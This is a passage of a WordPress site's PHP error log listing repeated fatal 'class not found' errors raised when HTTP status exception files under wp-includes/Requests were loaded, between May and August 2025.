  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 14:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 14:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 14:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 14:35:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[18-Jun-2025 16:52:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[18-Jun-2025 16:52:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[18-Jun-2025 16:52:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[18-Jun-2025 16:52:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[18-Jun-2025 16:52:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[18-Jun-2025 16:52:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[18-Jun-2025 16:52:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[18-Jun-2025 16:52:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[18-Jun-2025 16:52:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[18-Jun-2025 16:52:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[18-Jun-2025 16:52:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[18-Jun-2025 16:52:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[18-Jun-2025 16:52:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[18-Jun-2025 16:52:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[18-Jun-2025 16:52:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[18-Jun-2025 16:52:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[18-Jun-2025 16:52:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[18-Jun-2025 16:52:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[18-Jun-2025 16:52:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[18-Jun-2025 16:52:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[18-Jun-2025 16:52:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[18-Jun-2025 16:52:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[18-Jun-2025 16:52:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[18-Jun-2025 16:52:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[18-Jun-2025 16:52:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[18-Jun-2025 16:52:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[18-Jun-2025 16:52:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[18-Jun-2025 16:52:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[18-Jun-2025 16:52:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[18-Jun-2025 16:52:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[18-Jun-2025 16:52:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[18-Jun-2025 16:52:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Jul-2025 09:14:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Jul-2025 09:14:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Jul-2025 09:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Jul-2025 09:14:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Jul-2025 09:14:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Jul-2025 09:14:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Jul-2025 09:14:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Jul-2025 09:14:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Jul-2025 09:14:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Jul-2025 09:14:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Jul-2025 09:14:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Jul-2025 09:14:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Jul-2025 09:14:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Jul-2025 09:14:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Jul-2025 09:14:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Jul-2025 09:14:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Jul-2025 09:14:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Jul-2025 09:15:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Jul-2025 09:15:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[19-Jul-2025 09:15:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[19-Jul-2025 09:15:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Jul-2025 09:15:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Jul-2025 09:15:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Jul-2025 09:15:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Jul-2025 09:15:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Jul-2025 09:15:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Jul-2025 09:15:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Jul-2025 09:15:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Jul-2025 09:15:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Jul-2025 09:15:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[19-Jul-2025 09:15:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Jul-2025 09:15:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Jul-2025 09:15:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[20-Aug-2025 23:28:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[20-Aug-2025 23:28:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[20-Aug-2025 23:28:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[20-Aug-2025 23:28:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[20-Aug-2025 23:28:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[20-Aug-2025 23:28:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[20-Aug-2025 23:28:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[20-Aug-2025 23:28:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[20-Aug-2025 23:28:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[20-Aug-2025 23:28:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[20-Aug-2025 23:28:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[20-Aug-2025 23:28:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[20-Aug-2025 23:28:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[20-Aug-2025 23:28:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[20-Aug-2025 23:28:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[20-Aug-2025 23:28:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[20-Aug-2025 23:28:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[20-Aug-2025 23:28:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[20-Aug-2025 23:28:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[20-Aug-2025 23:28:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[20-Aug-2025 23:28:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
